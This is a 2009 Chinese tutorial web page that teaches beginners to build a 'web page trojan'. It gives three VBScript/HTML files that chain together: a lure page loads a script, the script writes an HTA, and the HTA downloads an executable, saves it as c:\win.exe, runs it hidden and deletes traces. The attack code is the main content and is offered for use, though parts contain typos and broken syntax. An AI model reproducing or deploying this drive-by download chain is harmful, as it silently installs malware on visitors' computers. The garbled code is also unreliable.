繁體中文当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 网页木马制作讲解（菜鸟版本）
- 安全基础
- 利用Windows XP组策略加强机密数据安全
- 了解CPU，关于CPU的基础知识
- WinToFlash制作Windows XP安装U盘
- Windows 7视频时比较卡删除MMCSS解决
- 数据恢复:硬盘开盘更换磁头处理
- 网上邻居里的电脑双击出现密码输入提示
- 服务器系统默认启用的授权模式造成共享访问故障
- Spoolsv.exe木马清除的方法
- 使用Dropbox免费空间的6个小技巧
- 163、126信箱POP3和SMTP重新开通
- 故障实例:USB设备无正确驱动签名
- 隐藏局域网中联网的计算机又能上网的设置方法
- 网上偷菜外挂含盗号病毒偷盗游戏账号
- 在QQ空间中放入土豆网Flash视频
- 重装系统后防止病毒入侵的5个系统设置技巧
- Windows Update系统更新组件
- 人人桌面帮你在人人网农场游戏快速增长经验值
- 网络交换机限速 防止BT下载速度过快
- Win7下连接无线网络资源管理器挂掉问题
- 在SNS里利用Flash脚本过滤不严进行挂马
安全基础 中的 网页木马制作讲解（菜鸟版本）
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-28 浏览: 40 ::
收藏到网摘: n/a
首先我们需要编写几个简单的文件
一、名字为abc.abc的文件
<html>
<script language="vbscript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet=oReq.respomseBody
Savefile HttpDoGet,"c:\win.exe"
End If
Set oReq=nothing
End Function
sub SaveFile(str.fName)
Set objStream = CreateObject("ADODB.Stream")
objStream.Type =1
objStream.Open
objStream.write str
objStream.SaveToFile fName.2
objStream.Close()
set objStream = nothing
exewin()
End sub
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.exe",0)
b=wshshell.run ("cmd.exe /c del c:\win.hta",0)
window.close
End Sub
HttpDoGet "http://127.0.0.1/test.exe"
</script>
</html>
其中test.exe为木马程序，实现必须放在WEB发布的目录下，文件abc.abc也必须保存在发布的目录下。
二、名字为test.htm的文件
<html><body>
木马运行测试！（这句话可以改成你想说的）
<object date="http://127.0.0.1/win.test";;;></object>
</body></html>
三、名字为win.test的文件
<html>
<body>
<script language="vbscript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet,"c:\win.hta"
Set oReq=nothing
End if
end function
sub SaveFile(str,fName)
Dim fso, tf
S e t f s o = C r e a t e O b j e c t(Scripting.FileSystemObject")
Set tf = fso.CreateTextfile(fName,True)
tf.Write str
tf.Close
exewin()
End sub
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.hat",0)
window.close
End Sub
HttpDoGet("http://127.0.0.1/abc.abc")
</script>
</body>
</html>
评论 (0) All
